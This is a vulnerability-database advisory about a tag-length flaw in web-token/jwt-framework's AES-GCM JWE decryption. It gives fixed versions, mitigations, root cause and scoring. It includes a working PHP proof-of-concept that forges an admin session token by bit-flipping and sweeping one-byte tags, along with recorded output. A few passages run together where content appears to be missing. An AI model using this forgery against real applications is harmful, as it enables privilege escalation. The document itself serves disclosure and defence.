
Cloud Vulnerability DB
A community-led vulnerabilities database
Fixed in 3.4.11, 4.0.8, 4.1.10 and 4.2.4. AESGCM::decryptContent() and AESGCMKW::unwrapKey() now reject an authentication tag that is not 16 bytes long, with the same error as a failed authentication. Tokens from conforming producers are not affected, since RFC 7518 requires a 128-bit tag for AES-GCM.
The experimental AES-CCM algorithms of web-token/jwt-experimental now apply the same check against the tag length they declare. A256CCM-16-128 declared an 8-byte tag instead of 16, so the tokens it produced before the upgrade are now rejected.
Until you upgrade, unserialize the token and reject it unless strlen($jwe->getTag()) === 16, then decrypt it. With A128GCMKW, A192GCMKW or A256GCMKW, also reject a tag header parameter that does not decode to 16 bytes; a header checker can do it.
If you suspect the flaw was exploited, rotate the shared keys and passwords used with dir, A128KW, A192KW, A256KW, A128GCMKW, A192GCMKW, A256GCMKW and the PBES2 algorithms. Repeated forgeries may reveal the GHASH subkey, after which full-length tags can be forged for the tokens concerned, even on a patched version.
Everything below is the original report. It describes the library as of 2026-09-20, before the fix.
AESGCM::decryptContent() passes the authentication tag taken from the token straight to openssl_decrypt() without checking its length. OpenSSL compares only as many bytes as it is given, so a 1-byte tag leaves a 1-in-256 chance per attempt. JWEDecrypter enforces the IV size through checkIvSize(), but there is no counterpart for the tag: the only tag length checks in src/ are the two in Experimental/KeyEncryption/Chacha20Poly1305.php, added by your own fix for GHSA-6vvh-pxr4-25r7. No AES-GCM path has one, and AESGCMKW::unwrapKey() has the same gap.
AES-GCM is a counter mode, so flipping a ciphertext bit flips the same plaintext bit. An attacker who holds one valid token can therefore edit the ciphertext to say what they want, truncate the tag to a single byte, and sweep at most 256 candidate values until the library accepts one. I measured this end to end against an application that installs the published 4.2.3 unmodified: a session token carrying {"sub":"alice","adm":0} was turned into {"sub":"alice","adm":1} and the application returned its administrator response over HTTP.
RFC 7518 section 5.3 states that "The requested size of the Authentication Tag output MUST be 128 bits, regardless of the key size."
Every published version, as far as I can determine. I classified the source of all 154 tags and all 17 remote branches (1.0.x through 5.0.x): not one has a tag length check. Packagist lists the same 154 releases; its 171 entries include the branch aliases.
I also measured four published versions — 3.4.10, 4.0.7, 4.1.9 and 4.2.3. In each, an untouched token is accepted (positive control), a 1-byte tag is accepted too, and 20 of 20 forgeries succeed. That covers both lines your SECURITY.md lists as supported, 4.1.x and 3.4.x.
Nothing newer is fixed. I re-checked on 2026-09-20: 4.2.3 of 2026-09-12 is still the latest release on Packagist, 4.2.3..origin/4.2.x is empty so no fix is waiting unreleased, and the development branches 4.3.x and 5.0.x carry the same unchecked call. The whole history of AESGCM.php is five commits, the most recent of which replaced an exception class in 2026-08-28, and git log -S for strlen and for TAG_LENGTH returns nothing across all branches. No issue, pull request or advisory addresses it, and composer audit on a 4.2.3 install is clean. There is therefore no patched version to record.
The same file ships in two other Packagist packages, so a range on web-token/jwt-framework alone does not cover every affected installation. web-token/jwt-library carries it up to 4.2.3 with openssl_decrypt() on the same line 65 — and since your own documentation now calls jwt-framework "older instructions" and tells people to prefer jwt-library, that package may matter more than this one. The older split package web-token/jwt-encryption-algorithm-aesgcm carries it up to 3.2.10; from 3.3.0 that package is a shim that only depends on the library. I placed both boundaries by reading the published archives rather than by inference.
An application is affected only if all of the following are met.
A128GCM, A192GCM or A256GCM in its AlgorithmManager and decrypts JWE. This is not a non-default setting: your "copy-paste ready" Examples page uses GCM in three of its four JWE examples and in its "Using the JWELoader (Recommended)" section; the Symfony bundle loads encryption_aesgcm.php unconditionally once JWE is on; and RFC 7518 section 5.1 marks A128GCM and A256GCM as Recommended. Your canonical JWE Loading page uses CBC-HMAC, so GCM is not the only documented path. Outside your projects, oidcphp/core and facile-it/php-jose-verifier register all three GCM classes.HTTP 401 {"error":"access denied"}, and the forgery still succeeded on request 79: the HTTP 200 that arrives when the sweep reaches the right tag is itself the signal. Each attempt looks like an ordinary failed authentication, and rate limiting stretches the time a sweep takes rather than stopping it.
An application cannot close this from the outside: no option controls the tag length, and header checkers cannot reach the value (see Root cause). I built the hardened loader exactly as your example writes it — AlgorithmChecker, IsEqualChecker('enc', 'A256GCM') and JWETokenSupport — and the forgery went through on request 7.In an empty directory, install the published release.
composer require web-token/jwt-framework:4.2.3 spomky-labs/aes-key-wrap:^7.0Save this as forge.php next to the vendor directory.
<?php
declare(strict_types=1);
require __DIR__ . '/vendor/autoload.php';
use Jose\Component\Core\AlgorithmManager;
use Jose\Component\Core\JWK;
use Jose\Component\Core\Util\Base64UrlSafe;
use Jose\Component\Encryption\Algorithm\ContentEncryption\A256GCM;
use Jose\Component\Encryption\Algorithm\KeyEncryption\A256KW;
use Jose\Component\Encryption\JWEBuilder;
use Jose\Component\Encryption\JWEDecrypter;
use Jose\Component\Encryption\JWELoader;
use Jose\Component\Encryption\Serializer\CompactSerializer;
use Jose\Component\Encryption\Serializer\JWESerializerManager;
const CLAIMS = '{"sub":"alice","adm":0}';
const HEADER = ['alg' => 'A256KW', 'enc' => 'A256GCM'];
const CIPHERTEXT_SEGMENT = 3;
const TAG_SEGMENT = 4;
const FORGERY_LABEL = 'forgery, tampered, 1-byte tag 0x%02x';
$algorithms = new AlgorithmManager([new A256KW(), new A256GCM()]);
$secret = Base64UrlSafe::encodeUnpadded(random_bytes(32));
$key = new JWK(['kty' => 'oct', 'k' => $secret]);
$jwe = (new JWEBuilder($algorithms))->create()
->withPayload(CLAIMS)
->withSharedProtectedHeader(HEADER)
->addRecipient($key)
->build();
$token = (new CompactSerializer())->serialize($jwe, 0);
$loader = new JWELoader(
new JWESerializerManager([new CompactSerializer()]),
new JWEDecrypter($algorithms),
null
);
$decrypt = static function (string $candidate) use ($loader, $key) {
$recipient = null;
try {
$out = $loader->loadAndDecryptWithKey($candidate, $key, $recipient);
return $out->getPayload() ?? 'rejected';
} catch (Throwable) {
return 'rejected';
}
};
$report = static function (string $label, string $value): void {
printf("%-34s: %s\n", $label, $value);
};
$report('control A, untouched token', $decrypt($token));
// AES-GCM is a counter mode, so a flipped ciphertext bit
// flips the same plaintext bit.
$parts = explode('.', $token);
$segment = $parts[CIPHERTEXT_SEGMENT];
$ciphertext = Base64UrlSafe::decodeNoPadding($segment);
$offset = strpos(CLAIMS, '"adm":') + strlen('"adm":');
$ciphertext[$offset] = $ciphertext[$offset] ^ ('0' ^ '1');
$edited = Base64UrlSafe::encodeUnpadded($ciphertext);
$parts[CIPHERTEXT_SEGMENT] = $edited;
$tampered = implode('.', $parts);
$report('control B, tampered, 16-byte tag', $decrypt($tampered));
for ($byte = 0; $byte < 256; $byte++) {
$parts[TAG_SEGMENT] = Base64UrlSafe::encodeUnpadded(chr($byte));
$payload = $decrypt(implode('.', $parts));
if ($payload !== 'rejected') {
$report(sprintf(FORGERY_LABEL, $byte), $payload);
$report('requests needed', sprintf('%d of 256', $byte + 1));
exit(0);
}
}
fwrite(STDERR, "no 1-byte tag was accepted\n");
exit(1);Run php forge.php. Expected output, from the run recorded on 2026-09-19:
control A, untouched token : {"sub":"alice","adm":0}
control B, tampered, 16-byte tag : rejected
forgery, tampered, 1-byte tag 0x97: {"sub":"alice","adm":1}
requests needed : 152 of 256The accepted tag byte and the request count differ on every run, because the key, the CEK and the IV are fresh each time; the first two lines and the forged payload on the third do not. Over 20 independent tokens the forgery succeeded 20 times, with a median of 148 requests (minimum 1, maximum 232), which is what a uniform draw from 1 to 256 looks like.
The two control lines are what make the third meaningful. Control A shows the token is well formed and the path is live. Control B sends the same tampered ciphertext with the original 16-byte tag and is rejected, which shows the integrity check does work at the correct length and that the forgery is carried by the truncation, not by the bit flip alone.
If the script reports no accepted 1-byte tag while control A still decrypts, the likely cause is your OpenSSL build rejecting short GCM tags rather than the library checking them. This script prints string(1) "x" on a build that accepts a 1-byte tag.
<?php
$key = str_repeat('k', 32);
$iv = str_repeat('i', 12);
$tag = '';
$c = openssl_encrypt('x', 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag);
var_dump(openssl_decrypt($c, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, substr($tag, 0, 1)));Measured: an attacker who can log in can rewrite their own session token and have the application accept it. I wrote a consuming application using only the documented JWEBuilder and JWELoader API, ran it on the published 4.2.3 under the PHP built-in server, and attacked it over HTTP without the library on the attacker side and without seeing the key. POST /login issued a compact JWE holding {"sub":"alice","adm":0}; the tampered token with a 1-byte tag returned HTTP 200 {"area":"admin","sub":"alice"} from GET /admin. The 256-request sweep took 0.1 seconds over loopback. The result did not depend on the key management algorithm (A256KW and dir) or the serializer (compact and JSON flattened).
The general shape is that AES-GCM in this library provides confidentiality but not integrity. Any decision an application makes from a decrypted JWE payload — a role, a user identifier, an expiry carried inside the ciphertext — is attacker controlled as far as the attacker can guess the plaintext layout, which is cheap when that layout is the application's own JSON.
That generalisation stops at nested tokens, and I measured where. With a signed-then-encrypted token (cty: JWT, HS256 inside A256KW/A256GCM), a 1-byte tag still gets through the JWE layer — one of the 256 candidates decrypted — but the inner signature rejected all 256. That protects the two widely used consumers I read: Symfony's OidcTokenHandler hands every decrypted string to loadAndVerifyJws() with no branch, and facile-it/php-jose-verifier does the same in Validate. The exposure is the shape your own Examples page documents — a bare JWE carrying sub, exp and an email address — rather than OIDC nesting.
One timing condition comes with it: where an expiry is carried inside the token, the sweep must finish while the attacker's token is still valid. Rate limiting turns that into a real bound.
Not measured, inferred: published work on truncated GCM tags describes GHASH subkey recovery from repeated forgeries (CVE-2025-54887 was scored for confidentiality loss on that basis). I did not attempt it.
Proposed: CVSS-B, vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N. The score itself is in the Severity field of this advisory; I have not repeated it here so that the two cannot drift apart. I used v4.0 because that is the system carried on your published advisories in the GitHub Advisory Database.
PR:L reflects that the attacker must hold one legitimate token, which in most applications means an account. VI:H reflects arbitrary modification of the decrypted payload, and VC:N because I did not demonstrate any confidentiality loss myself.
One reading scores this higher and is defensible: where an application hands encrypted tokens to unauthenticated clients, PR:N applies. I am not claiming that shape is typical of your users, only that it exists — the same defect in cjose was scored PR:N by the CNA (CVE-2023-37464). Final scoring is of course yours.
src/Library/Encryption/Algorithm/ContentEncryption/AESGCM.php:65 in 4.2.3 — decryptContent() hands the caller-supplied $tag to openssl_decrypt() unchanged. OpenSSL compares only as many bytes of the tag as it receives, so enforcing the 128-bit length is the caller's responsibility. The caller does not: JWEDecrypter passes $jwe->getTag() ?? '' through at src/Library/Encryption/JWEDecrypter.php:285, while doing the opposite for the IV at line 162 through checkIvSize(). AESGCMKW::unwrapKey() at src/Library/Encryption/Algorithm/KeyEncryption/AESGCMKW.php:77 has the same gap for the tag header parameter.
No header checker can substitute for the missing check: the content encryption tag is the fifth segment of the compact serialization rather than a header parameter, and every checker selects its target through supportedHeader(): string.
CWE-354 (Improper Validation of Integrity Check Value) is the closest Base weakness. You used CWE-353 for the adjacent Chacha20Poly1305 advisory, which would also fit if you prefer to stay consistent with that one.
Two placements are available, differing in how much of the class they close.
Alongside the IV check: add a tag size to ContentEncryptionAlgorithm (128 for GCM) and call a checkTagSize() next to checkIvSize() in JWEDecrypter::decryptJWE(). That covers AESGCM and the experimental AESCCM in one place and keeps the length rule where the IV rule already lives. The cost is that adding a method to the interface breaks compatibility for outside implementers.
Inside the algorithm: reject at the top of AESGCM::decryptContent() when the tag is not 16 bytes. That is contained and breaks nothing, but the line must be repeated in each AEAD algorithm. It is the shape you already chose in ed9f84b4 for Chacha20Poly1305::decryptKey().
Either way AESGCMKW::unwrapKey() needs the same check, since it reads the tag from a header parameter rather than from the token structure and would not be covered by a change in JWEDecrypter. Your own documentation already specifies the value it should demand: a "128-bit Authentication Tag value resulting from the key encryption operation". src/Experimental/ContentEncryption/AESCCM.php passes its tag through unchecked too, and there the value is already at hand in getTagLength().
I do not know which placement fits your compatibility constraints better.
spomky-labs/jose. The initial commit e3883f84 of 2017-10-06 says the code came from there, so the defect probably predates it, but that is an inference from a commit message.EncryptionSource::load() loads encryption_aesgcm.php unconditionally and registers all three GCM classes as tagged services, but I tested a plain PHP application. I also did not run Symfony's own OidcTokenHandler or facile-it/php-jose-verifier; the reason I give for both being safe in Impact is a code reading.src/Experimental/ContentEncryption/AESCCM.php. I read that it passes the tag through unchecked, but I did not measure what PHP and OpenSSL accept for CCM.AESGCMKW alone. I measured tag acceptance and CEK malleability there and stopped when I could not reach a controlled plaintext.A256KW/A256GCM, not other inner algorithms.web-token/jwt-framework 4.2.3 and spomky-labs/aes-key-wrap 7.x, both installed from Packagist and left unmodifiedjose 6.2.12, used only for the cross-implementation check below
To reproduce from scratch, any PHP 8.x with the OpenSSL extension is enough: make an empty directory, run the composer require line from Reproduction, save forge.php there and run it.
Cross-check in the same environment: jose 6.2.12 on Node.js, given the same key and the same two tokens, accepts the untouched one and rejects the truncated one with Invalid Authentication Tag length. The fallback at the end of Reproduction tells you whether your own OpenSSL build is the reason if the sweep does not reproduce.Also reported independently by Jeroen Robben.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."